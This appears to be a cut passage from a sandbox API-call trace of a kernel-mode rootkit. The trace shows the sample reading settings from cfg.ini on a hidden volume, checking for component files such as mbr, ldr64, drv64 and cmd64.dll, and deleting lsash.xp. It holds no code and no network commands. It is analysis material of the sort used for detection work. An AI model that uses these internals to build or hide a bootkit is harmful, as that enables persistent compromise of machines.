KeLeaveCriticalRegion () [0127.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.660] ReleaseMutex (hMutex=0xf0) returned 1 [0127.660] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.660] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.660] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.660] KeEnterCriticalRegion () [0127.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.660] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.660] IdePortDispatch () returned 0x103 [0127.660] KeWaitForMutexObject () returned 0x0 [0127.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.660] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.660] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.660] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.660] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.660] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e19a0 [0127.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.660] KeLeaveCriticalRegion () [0127.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.660] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.661] KeEnterCriticalRegion () [0127.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.661] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.661] KeLeaveCriticalRegion () [0127.661] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.661] KeEnterCriticalRegion () [0127.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.661] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.661] IdePortDispatch () returned 0x103 [0127.661] KeWaitForMutexObject () returned 0x0 [0127.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.661] KeLeaveCriticalRegion () [0127.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.661] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.661] KeEnterCriticalRegion () [0127.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7f000 [0127.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.661] IdePortDispatch () returned 0x103 [0127.661] KeWaitForMutexObject () returned 0x0 [0127.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.662] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.662] IdePortDispatch () returned 0x103 [0127.662] KeWaitForMutexObject () returned 0x0 [0127.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.662] KeLeaveCriticalRegion () [0127.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.662] KeEnterCriticalRegion () [0127.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.662] KeLeaveCriticalRegion () [0127.662] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.662] KeEnterCriticalRegion () [0127.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.662] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.662] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.662] KeLeaveCriticalRegion () [0127.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.663] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.663] KeEnterCriticalRegion () [0127.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.663] ExFreePoolWithTag (P=0xfffffa80037e19a0, Tag=0x0) [0127.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.663] KeLeaveCriticalRegion () [0127.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.663] ReleaseMutex (hMutex=0xf0) returned 1 [0127.663] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.663] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.663] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.663] KeEnterCriticalRegion () [0127.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.663] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.663] IdePortDispatch () returned 0x103 [0127.663] KeWaitForMutexObject () returned 0x0 [0127.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.663] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.663] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.663] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb3c0 [0127.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.663] KeLeaveCriticalRegion () [0127.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.663] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.663] KeEnterCriticalRegion () [0127.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.663] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.663] KeLeaveCriticalRegion () [0127.663] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.663] KeEnterCriticalRegion () [0127.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.664] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.664] IdePortDispatch () returned 0x103 [0127.664] KeWaitForMutexObject () returned 0x0 [0127.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.664] KeLeaveCriticalRegion () [0127.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.664] KeEnterCriticalRegion () [0127.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b80000 [0127.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.664] IdePortDispatch () returned 0x103 [0127.664] KeWaitForMutexObject () returned 0x0 [0127.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.664] IdePortDispatch () returned 0x103 [0127.664] KeWaitForMutexObject () returned 0x0 [0127.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.665] KeLeaveCriticalRegion () [0127.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.665] KeEnterCriticalRegion () [0127.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.665] KeLeaveCriticalRegion () [0127.665] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.665] KeEnterCriticalRegion () [0127.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.665] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.665] KeLeaveCriticalRegion () [0127.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.665] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.665] KeEnterCriticalRegion () [0127.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.665] ExFreePoolWithTag (P=0xfffffa8003bfb3c0, Tag=0x0) [0127.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.665] KeLeaveCriticalRegion () [0127.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.665] ReleaseMutex (hMutex=0xf0) returned 1 [0127.665] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.666] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.666] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.666] KeEnterCriticalRegion () [0127.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.666] IdePortDispatch () returned 0x103 [0127.666] KeWaitForMutexObject () returned 0x0 [0127.666] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.666] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.666] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.666] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.666] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.666] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.666] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.666] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.666] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.666] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.666] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.666] KeLeaveCriticalRegion () [0127.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.666] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.666] KeEnterCriticalRegion () [0127.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.666] IdePortDispatch () returned 0x103 [0127.667] KeWaitForMutexObject () returned 0x0 [0127.667] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.667] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.667] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.667] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.667] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.667] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.667] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.667] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.667] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.667] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.667] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.667] KeLeaveCriticalRegion () [0127.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.667] ReleaseMutex (hMutex=0x100) returned 1 [0127.667] Sleep (dwMilliseconds=0x2bf20) [0127.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f4b0cd0, dwHighDateTime=0x1d24fa4)) [0127.673] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.673] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.674] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.674] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.674] KeEnterCriticalRegion () [0127.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.674] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.674] IdePortDispatch () returned 0x103 [0127.674] KeWaitForMutexObject () returned 0x0 [0127.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.674] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.674] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.674] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.674] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.674] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb2c0 [0127.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.674] KeLeaveCriticalRegion () [0127.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.674] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.674] KeEnterCriticalRegion () [0127.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.674] KeLeaveCriticalRegion () [0127.674] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.674] KeEnterCriticalRegion () [0127.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.674] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.674] IdePortDispatch () returned 0x103 [0127.674] KeWaitForMutexObject () returned 0x0 [0127.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.675] KeLeaveCriticalRegion () [0127.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.675] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.675] KeEnterCriticalRegion () [0127.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b83000 [0127.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: 